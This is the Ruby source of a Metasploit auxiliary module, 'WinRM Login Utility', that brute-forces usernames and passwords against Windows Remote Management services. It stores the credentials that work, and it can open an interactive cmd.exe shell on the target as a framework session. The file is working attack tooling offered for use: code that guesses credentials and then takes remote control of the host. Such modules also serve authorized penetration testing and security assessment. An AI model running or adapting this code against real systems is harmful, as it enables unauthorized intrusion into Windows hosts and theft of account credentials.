## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner' require 'metasploit/framework/login_scanner/winrm' require 'net/winrm/connection' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WinRM include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::CommandShell include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Kerberos::Ticket::Storage include Msf::Sessions::CreateSessionOptions include Msf::Auxiliary::ReportSummary def initialize super( 'Name' => 'WinRM Login Utility', 'Description' => %q{ This module attempts to authenticate to a WinRM service. It currently works only if the remote end allows Negotiate(NTLM) authentication. Kerberos is not currently supported. Please note: in order to use this module without SSL, the 'AllowUnencrypted' winrm option must be set. Otherwise adjust the port and set the SSL options in the module as appropriate. }, 'Author' => [ 'thelightcosine', 'smashery' ], 'References' => [ [ 'CVE', '1999-0502'], # Weak password [ 'ATT&CK', Mitre::Attack::Technique::T1021_006_WINDOWS_REMOTE_MANAGEMENT ] ], 'License' => MSF_LICENSE ) end def run check_winrm_parameters super end def run_host(ip) cred_collection = build_credential_collection( realm: datastore['DOMAIN'], username: datastore['USERNAME'], password: datastore['PASSWORD'] ) kerberos_authenticator_factory = nil if datastore['Winrm::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS kerberos_authenticator_factory = ->(username, password, realm) do Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::HTTP.new( host: datastore['DomainControllerRhost'], hostname: datastore['Winrm::Rhostname'], proxies: datastore['Proxies'], realm: realm, username: username, password: password, timeout: 20, framework: framework, framework_module: self, cache_file: datastore['Winrm::Krb5Ccname'].blank? ? nil : datastore['Winrm::Krb5Ccname'], mutual_auth: true, use_gss_checksum: true, ticket_storage: kerberos_ticket_storage, offered_etypes: Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Winrm::KrbOfferedEncryptionTypes']), clock_skew: kerberos_clock_skew_seconds ) end end keep_connection_alive = datastore['CreateSession'] scanner = Metasploit::Framework::LoginScanner::WinRM.new( configure_login_scanner( host: ip, port: rport, proxies: datastore['Proxies'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, framework: framework, framework_module: self, kerberos_authenticator_factory: kerberos_authenticator_factory, keep_connection_alive: keep_connection_alive ) ) scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( module_fullname: fullname, workspace_id: myworkspace_id ) if result.success? credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) print_good "#{ip}:#{rport} - Login Successful: #{result.credential}" if datastore['CreateSession'] http_client = result.connection rhost = result.host rport = result.port uri = datastore['URI'] schema = result.service_name ssl = schema == 'https' # Can't trust the datastore value, because the scanner does some *magic* to set it for us endpoint = "#{schema}://#{rhost}:#{rport}#{uri}" conn = Net::MsfWinRM::RexWinRMConnection.new( { endpoint: endpoint, host: rhost, port: rport, proxies: datastore['Proxies'], uri: uri, ssl: ssl, user: result.credential.public, password: result.credential.private, transport: :rexhttp, no_ssl_peer_verification: true, operation_timeout: 1, # For the WinRM server timeout: 20, # For the underlying HTTP client retry_delay: 1, realm: result.credential.realm, http_client: http_client } ) shell = conn.shell(:stdin, {}) session_setup(shell, rhost, rport, endpoint) end else invalidate_login(credential_data) vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end def session_setup(shell, rhost, _rport, _endpoint) # We use cmd rather than powershell because powershell v3 on 2012 (and maybe earlier) # do not seem to pass us stdout/stderr. begin interactive_process_id = shell.send_command('cmd.exe') rescue WinRM::WinRMWSManFault => e case e.fault_code when ::WindowsError::Win32::ERROR_ACCESS_DENIED.value.to_s print_brute(level: :warn, rhost: rhost, msg: "Credentials were correct but access is denied for user: #{shell.connection_opts[:user]}") wlog(e.fault_description) else print_brute(level: :error, rhost: rhost, msg: e.fault_description) elog(e.full_message, error: e) end return end sess = Msf::Sessions::WinrmCommandShell.new(shell, interactive_process_id) sess.platform = 'windows' username = datastore['USERNAME'] password = datastore['PASSWORD'] info = "WinRM #{username}:#{password} (#{shell.owner})" merge_me = { 'USERNAME' => username, 'PASSWORD' => password } start_session(self, info, merge_me, false, nil, sess) end def start_session(obj, info, ds_merge, _crlf = false, _sock = nil, sess = nil) sess.set_from_exploit(obj) sess.info = info # Clean up the stored data sess.exploit_datastore.merge!(ds_merge) framework.sessions.register(sess) sess.process_autoruns(datastore) # Notify the framework that we have a new session opening up... # Don't let errant event handlers kill our session begin framework.events.on_session_open(sess) rescue ::Exception => e wlog("Exception in on_session_open event handler: #{e.class}: #{e}") wlog("Call Stack\n#{e.backtrace.join("\n")}") end sess end def test_request return winrm_wql_msg('Select Name,Status from Win32_Service') end end